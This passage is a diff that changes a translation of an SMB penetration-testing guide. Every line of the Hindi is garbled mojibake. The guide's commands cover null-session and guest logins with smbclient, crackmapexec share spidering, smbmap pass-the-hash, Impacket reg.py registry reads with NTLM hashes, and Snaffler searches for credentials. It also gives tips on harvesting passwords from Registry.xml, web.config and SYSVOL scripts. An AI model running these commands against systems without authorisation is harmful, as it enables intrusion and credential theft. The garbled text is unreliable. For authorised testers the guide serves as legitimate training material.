@@ -163,15 +163,15 @@ rpcclient-enumeration.md
`xdg-open smb://cascade.htb/`
-#### рдлрд╝рд╛рдЗрд▓ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ рдореЗрдВ (nautilus, thunar, etc)
+#### рдлрд╛рдЗрд▓ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ рдореЗрдВ (nautilus, thunar, рдЖрджрд┐)
`smb://friendzone.htb/general/`
-## рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХрд╛ рд╕реВрдЪреАрдХрд░рдг
+## рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХрд╛ рдПрдиреНрдпреВрдорд░реЗрд╢рди
### рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рд╕реВрдЪреА
-рдпрд╣ рд╣рдореЗрд╢рд╛ рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдЪреАрдЬрд╝ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ; рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ credentials рдирд╣реАрдВ рд╣реИрдВ рддреЛ **null** **credentials/guest user** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред
+рд╣рдореЗрд╢рд╛ рдпрд╣ рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рднреА рдЪреАрдЬрд╝ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдЧрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ credentials рдирд╣реАрдВ рд╣реИрдВ, рддреЛ **null** **credentials/guest user** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред
```bash
smbclient --no-pass -L // # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@@ -185,7 +185,7 @@ crackmapexec smb -u '' -p '' --shares #Null user
crackmapexec smb -u 'username' -p 'password' --shares #Guest user
crackmapexec smb -u 'username' -H '' --shares #Guest user
```
-### **рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ/рд╕реВрдЪреА рджрд┐рдЦрд╛рдирд╛**
+### **рдПрдХ рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░ рдЬреЛрдбрд╝реЗрдВ/рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ**
```bash
#Connect using smbclient
smbclient --no-pass ///
@@ -197,9 +197,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list
smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash
```
-### **рдореИрдиреНрдпреБрдЕрд▓реА windows рд╢реЗрдпрд░реЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ рдФрд░ рдЙрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ**
+### **рдореИрдиреНрдпреБрдЕрд▓реА windows shares рдХреЛ enumerate рдХрд░реЗрдВ рдФрд░ рдЙрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ**
-рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рд╣реЛрд╕реНрдЯ рдорд╢реАрди рдХреЗ рд╢реЗрдпрд░ рджрд┐рдЦрд╛рдиреЗ рдкрд░ рдЖрдкрдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рдФрд░ рдЬрдм рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рддреЛ рдРрд╕рд╛ рд▓рдЧреЗ рдХрд┐ рдЬреБрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╢реЗрдпрд░ рдореМрдЬреВрдж рд╣реА рдирд╣реАрдВ рд╣реИред рдЗрд╕рд▓рд┐рдП рдХрд┐рд╕реА рд╢реЗрдпрд░ рд╕реЗ рдореИрдиреНрдпреБрдЕрд▓реА рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдПрдХ рдЫреЛрдЯреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ рдлрд╛рдпрджреЗрдордВрдж рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рд╢реЗрдпрд░реЛрдВ рдХреЛ рдореИрдиреНрдпреБрдЕрд▓реА рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЬрдм рдЖрдк рдХреЛрдИ рд╡реИрдз рд╕рддреНрд░ (e.g. null session рдпрд╛ valid credentials) рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВ, рддреЛ рдЖрдкрдХреЛ NT_STATUS_ACCESS_DENIED рдФрд░ NT_STATUS_BAD_NETWORK_NAME рдЬреИрд╕реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рджреЗрдЦрдиреА рдЪрд╛рд╣рд┐рдПред рдпреЗ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреА рд╣реИрдВ рдХрд┐ рд╢реЗрдпрд░ рдореМрдЬреВрдж рд╣реИ рд▓реЗрдХрд┐рди рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рд╣реИ, рдпрд╛ рд╢реЗрдпрд░ рдмрд┐рд▓реНрдХреБрд▓ рдореМрдЬреВрдж рд╣реА рдирд╣реАрдВ рд╣реИред
+рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ рд╣реЛрд╕реНрдЯ рдорд╢реАрди рдХреЗ рдХрд┐рд╕реА рднреА рд╢реЗрдпрд░ рдХреЛ рджрд┐рдЦрд╛рдиреЗ рд╕реЗ рд░реЛрдХ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рдФрд░ рдЬрдм рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдРрд╕рд╛ рд▓рдЧреЗ рдХрд┐ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╢реЗрдпрд░ рд╣реА рдирд╣реАрдВ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рдХрд┐рд╕реА рд╢реЗрдпрд░ рд╕реЗ рдореИрдиреНрдпреБрдЕрд▓реА рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдПрдХ рдЫреЛрдЯреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред Shares рдХреЛ рдореИрдиреНрдпреБрдЕрд▓реА enumerate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк NT_STATUS_ACCESS_DENIED рдФрд░ NT_STATUS_BAD_NETWORK_NAME рдЬреИрд╕реЗ responses рдХреА рддрд▓рд╛рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдм рдЖрдк рдХрд┐рд╕реА valid session (e.g. null session or valid credentials) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВред рдпреЗ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╢реЗрдпрд░ рдореМрдЬреВрдж рд╣реИ рд▓реЗрдХрд┐рди рдЖрдкрдХрд╛ access рдирд╣реАрдВ рд╣реИ рдпрд╛ рд╢реЗрдпрд░ рдмрд┐рд▓реНрдХреБрд▓ рдореМрдЬреВрдж рд╣реА рдирд╣реАрдВ рд╣реИред
Common share names for windows targets are
@@ -214,7 +214,7 @@ Common share names for windows targets are
(Common share names from _**Network Security Assessment 3rd edition**_)
-рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ
+рдЖрдк рдЗрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЖрдЬрд╝рдорд╛ рд╕рдХрддреЗ рд╣реИрдВ
```bash
smbclient -U '%' -N \\\\\\ # null session to connect to a windows share
smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password)
@@ -241,7 +241,7 @@ done
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
-### **Windows рд╕реЗ рд╢реЗрдпрд░реЛрдВ рдХреА рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ / рдерд░реНрдб-рдкрд╛рд░реНрдЯреА рдЯреВрд▓реНрд╕ рдХреЗ рдмрд┐рдирд╛**
+### **Windows рд╕реЗ рд╢реЗрдпрд░реЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ / рддреГрддреАрдп-рдкрдХреНрд╖ рдЯреВрд▓реНрд╕ рдХреЗ рдмрд┐рдирд╛**
PowerShell
```bash
@@ -260,23 +260,23 @@ net share
# List shares on a remote computer (including hidden ones)
net view \\ /all
```
-MMC Snap-in (рдЧреНрд░рд╛рдлрд┐рдХрд▓)
+MMC рд╕реНрдиреИрдк-рдЗрди (рдЧреНрд░рд╛рдлрд┐рдХрд▓)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
-explorer.exe (рдЧреНрд░рд╛рдлрд┐рдХрд▓) рдореЗрдВ `\\\` рджрд░реНрдЬ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЙрдкрд▓рдмреНрдз рдЧреИрд░-рдЫрд┐рдкреЗ рд╢реЗрдпрд░ рджрд┐рдЦреЗрдВред
+explorer.exe (рдЧреНрд░рд╛рдлрд┐рдХрд▓), `\\\` рджрд░реНрдЬ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЙрдкрд▓рдмреНрдз non-hidden shares рджрд┐рдЦрд╛рдИ рджреЗрдВред
-### рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░ рдорд╛рдЙрдВрдЯ рдХрд░рдирд╛
+### рдПрдХ shared folder рдорд╛рдЙрдВрдЯ рдХрд░реЗрдВ
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
-### **рдбрд╛рдЙрдирд▓реЛрдб рдлрд╝рд╛рдЗрд▓реЗрдВ**
+### **рдбрд╛рдЙрдирд▓реЛрдб рдлрд╛рдЗрд▓реЗрдВ**
-рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП credentials/Pass-the-Hash рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдкрдврд╝реЗрдВред
+рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдкрдврд╝реЗрдВ рддрд╛рдХрд┐ рдЖрдк credentials/Pass-the-Hash рдХреЗ рд╕рд╛рде рдХрдиреЗрдХреНрдЯ рдХрд░рдирд╛ рд╕реАрдЦ рд╕рдХреЗрдВред
```bash
#Search a file and download
sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@@ -293,12 +293,12 @@ smbclient ///
```
рдХрдорд╛рдВрдб:
-- mask: рдЙрд╕ mask рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЗ рднреАрддрд░ рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЙрджрд╛. "" рд╕рднреА рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП)
-- recurse: recursion рдХреЛ рдЪрд╛рд▓реВ/рдмрдВрдж рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдмрдВрдж)
-- prompt: рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреЗ рд▓рд┐рдП prompting рдХреЛ рдмрдВрдж рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдЪрд╛рд▓реВ)
-- mget: рд╣реЛрд╕реНрдЯ рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдорд╢реАрди рдкрд░ mask рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдлрд╛рдЗрд▓реЗрдВ рдХреЙрдкреА рдХрд░рддрд╛ рд╣реИ
+- mask: рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рднреАрддрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА mask рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ (e.g. "" for all files)
+- recurse: recursion рдХреЛ рдЪрд╛рд▓реВ рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: off)
+- prompt: рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреЗ рд▓рд┐рдП prompting рдХреЛ рдмрдВрдж рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: on)
+- mget: рд╣реЛрд╕реНрдЯ рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдорд╢реАрди рдкрд░ mask рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдХреЙрдкреА рдХрд░рддрд╛ рд╣реИ
-(_рдЬрд╛рдирдХрд╛рд░реА smbclient рдХреЗ manpage рд╕реЗ_)
+(_smbclient рдХреЗ manpage рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА_)
### рдбреЛрдореЗрди рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреА рдЦреЛрдЬ
@@ -312,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
-Shares рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдлрд╝рд╛рдЗрд▓реЗрдВ рд╡реЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ **`Registry.xml`** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрдирдореЗрдВ **autologon** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **Group Policy** рдХреЗ рддрд╣рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП users рдХреЗ рдкрд╛рд╕ **рдкрд╛рд╕рд╡рд░реНрдб** рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╛ **`web.config`** рдлрд╝рд╛рдЗрд▓реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рдЙрдирдореЗрдВ credentials рд╣реЛрддреЗ рд╣реИрдВред
+Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
> [!TIP]
-> **SYSVOL share** рдбреЛрдореЗрди рдХреЗ рд╕рднреА рдкреНрд░рдорд╛рдгреАрдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП **readable** рд╣реЛрддрд╛ рд╣реИред рд╡рд╣рд╛рдВ рдЖрдк рдХрдИ рдЕрд▓рдЧ-рдЕрд▓рдЧ batch, VBScript, рдФрд░ PowerShell **scripts** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред\
-> рдЖрдкрдХреЛ рдЙрд╕рдХреЗ рдЕрдВрджрд░ рдХреА **scripts** рдЬрд░реВрд░ **check** рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдЖрдк sensitive рдЬрд╛рдирдХрд╛рд░реА рдЬреИрд╕реЗ рдХрд┐ **рдкрд╛рд╕рд╡рд░реНрдб** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
+> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
+> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
## рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрдврд╝реЗрдВ
-рдЖрдк рдХреБрдЫ рдЦреЛрдЬреЗ рдЧрдП credentials рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрдврд╝** рд╕рдХрддреЗ рд╣реИрдВред Impacket **`reg.py`** рдЖрдкрдХреЛ рдпрд╣ рдЖрдЬрд╝рдорд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:
+You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@@ -328,35 +328,35 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
```
## Post Exploitation
-The **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧ** рдПрдХ **Samba** рд╕рд░реНрд╡рд░ рдХрд╛ рдЖрдорддреМрд░ рдкрд░ `/etc/samba/smb.conf` рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдореЗрдВ рдХреБрдЫ **рдЦрддрд░рдирд╛рдХ рдХреЙрдиреНрдлрд╝рд┐рдЧреНрд╕** рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ:
+The **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **рдЦрддрд░рдирд╛рдХ рдХреЙрдиреНрдлрд╝рд┐рдЧреНрд╕**:
-| **Setting** | **Description** |
+| **рд╕реЗрдЯрд┐рдВрдЧ** | **рд╡рд┐рд╡рд░рдг** |
| --------------------------- | ------------------------------------------------------------------- |
-| `browseable = yes` | рдХреНрдпрд╛ рд╡рд░реНрддрдорд╛рди рд╢реЗрдпрд░ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╢реЗрдпрд░реЛрдВ рдХреА рд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ? |
-| `read only = no` | рдХреНрдпрд╛ рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдФрд░ рд╕рдВрд╢реЛрдзрди рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ? |
-| `writable = yes` | рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдлрд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ? |
-| `guest ok = yes` | рдХреНрдпрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдмрд┐рдирд╛ рд╕реЗрд╡рд╛ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ? |
-| `enable privileges = yes` | рдХреНрдпрд╛ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ SID рдХреЛ рдЕрд╕рд╛рдЗрди рдХрд┐рдП рдЧрдП рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рд╕рдореНрдорд╛рди рдХрд░рддрд╛ рд╣реИ? |
-| `create mask = 0777` | рдирдП рдмрдирд╛рдП рдЧрдП рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдХрд┐рди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕реМрдВрдкрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? |
-| `directory mask = 0777` | рдирдП рдмрдирд╛рдП рдЧрдП рдбрд╛рдпрд░реЗрдХреНрдЯрд░реАрдЬрд╝ рдХреЛ рдХрд┐рди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕реМрдВрдкрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? |
-| `logon script = script.sh` | рдХрд┐рд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓реЙрдЧрд┐рди рдкрд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? |
-| `magic script = script.sh` | рдЬрдм рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдВрдж рд╣реЛ рдЬрд╛рддреА рд╣реИ рддреЛ рдХреМрди рд╕реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдиреА рдЪрд╛рд╣рд┐рдП? |
-| `magic output = script.out` | magic script рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рдХрд╣рд╛рдБ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? |
+| `browseable = yes` | рдХреНрдпрд╛ рд╡рд░реНрддрдорд╛рди рд╢реЗрдпрд░ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╢реЗрдпрд░реЛрдВ рдХреА рд╕реВрдЪреА рджрд┐рдЦрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ? |
+| `read only = no` | рдХреНрдпрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдФрд░ рд╕рдВрд╢реЛрдзрди рд░реЛрдХрддрд╛ рд╣реИ? |
+| `writable = yes` | рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ? |
+| `guest ok = yes` | рдХреНрдпрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рдмрд┐рдирд╛ рд╕реЗрд╡рд╛ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ? |
+| `enable privileges = yes` | рдХреНрдпрд╛ рд╡рд┐рд╢реЗрд╖ SID рдХреЛ рд╕реМрдВрдкреЗ рдЧрдП рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рд╕рдореНрдорд╛рди рдХрд░рддрд╛ рд╣реИ? |
+| `create mask = 0777` | рдирдП рдмрдирд╛рдП рдЧрдП рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдХреМрди рд╕реЗ permissions рдЕрд╕рд╛рдЗрди рдХрд┐рдП рдЬрд╛рдиреЗ рдЪрд╛рд╣рд┐рдП? |
+| `directory mask = 0777` | рдирдП рдмрдирд╛рдП рдЧрдП рдбрд┐рд░реЗрдХреНрдЯрд░реАрдЬрд╝ рдХреЛ рдХреМрди рд╕реЗ permissions рдЕрд╕рд╛рдЗрди рдХрд┐рдП рдЬрд╛рдиреЗ рдЪрд╛рд╣рд┐рдП? |
+| `logon script = script.sh` | рдХрд┐рд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓реЙрдЧрд┐рди рдкрд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? |
+| `magic script = script.sh` | рдЬрдм рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдВрдж рд╣реЛ рдЬрд╛рдП рддреЛ рдХрд┐рд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЪрд▓рд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? |
+| `magic output = script.out` | magic script рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдХрд╣рд╛рдБ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? |
The command `smbstatus` gives information about the **рд╕рд░реНрд╡рд░** and about **рдХреМрди рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИ**.
-## Authenticate using Kerberos
+## Kerberos рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг
-рдЖрдк **рдкреНрд░рдорд╛рдгреАрдХреГрдд** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **Kerberos** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреВрд▓реНрд╕ **smbclient** рдФрд░ **rpcclient**:
+You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
-## **Execute Commands**
+## **рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ**
### **crackmapexec**
